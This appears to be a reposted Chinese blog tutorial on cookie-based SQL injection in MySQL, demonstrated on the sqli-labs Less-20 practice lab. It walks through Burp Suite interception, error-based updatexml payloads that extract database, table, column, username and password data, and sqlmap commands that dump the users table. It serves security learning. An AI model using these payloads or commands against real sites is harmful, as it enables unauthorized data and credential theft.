MySQL cookie注入

Posted 山川绿水

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了MySQL cookie注入相关的知识,希望对你有一定的参考价值。

mysql cookie注入

1.cookie介绍

服务器可以利用cookie包含信息的任意性来筛选并经常性维护这些信息,以判断在HTTP传输中的状态。cookie最典型的应用是判定注册用户是否已经登录网站。

用户可能会在一段时间内在同一网站的不同页面中选择不同的商品吗,这些信息都会写cookie,以便在最后付款时提取信息。

我们按下F12,选择控制台,在命令行中输入document.cookie,回车即可得到我们本地的cookie

2.cookie注入代码分析

代码中使用cookie传递参数,但是没有对cookie中传递的参数进行过滤操作。导致SQL注入漏洞的产生。

用户传入进来的cookie,是可控的,并且还可以执行SQL语句

$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";

我们可以闭合前面的单引号,然后执行我们想要执行的SQL语句

3。cookie注入利用

我们以sql-lab-less20为例
1.输入用户名和密码进行抓包

2.发送到repeatergo,查看response,点击Follow redirection

3.返回到Proxy

4.点击Forward进行两次放包

5.可以看到此时的cookieuname=admin,我们还是重复上面的操作,将数据包发送至Repeater

6.go一下,查看返回的数据

7.在用户名后面加上反斜杠,查看报错信息

8.利用’ or 1=1 --+输出第一个用户名和密码。

9.爆破数据库

' and updatexml(1,concat(0x7e,database(),0x7e),1) --+


10.爆破数据表

' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1) --+


我们要的是users表,因此,往后依次爆破即可

' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1) --+


12.爆破字段名

' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),0x7e),1) --+


14.有爆字段可知,此处有三个字段,我们只需,以此爆破即可,而我们关注的是用户名和密码

获取用户名信息

' and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1) --+


获取密码信息

' and updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),1) --+

4.sqlmap安全测试

sqlmap cookie注入
1.抓取数据包,并且在cookie后面加上星号(*)

2.cookie注入渗透测试

python2 sqlmap.py -r "1.txt" --level 3 --batch


3.爆破数据库

python2 sqlmap.py -r "1.txt" --level 3 --batch --dbs


4.爆破数据表

python2 sqlmap.py -r "1.txt" --level 3 --batch -D security --tables


5.爆破字段及内容

python2 sqlmap.py -r "1.txt" --level 3 --batch -D security -T users --dump

以上是关于MySQL cookie注入的主要内容,如果未能解决你的问题,请参考以下文章

js代码片段: utils/lcoalStorage/cookie

以下代码片段是不是容易受到 Rails 5 中 SQL 注入的影响?

cookie注入

初识Spring源码 -- doResolveDependency | findAutowireCandidates | @Order@Priority调用排序 | @Autowired注入(代码片段

初识Spring源码 -- doResolveDependency | findAutowireCandidates | @Order@Priority调用排序 | @Autowired注入(代码片段

利用Cookie劫持+HTML注入进行钓鱼攻击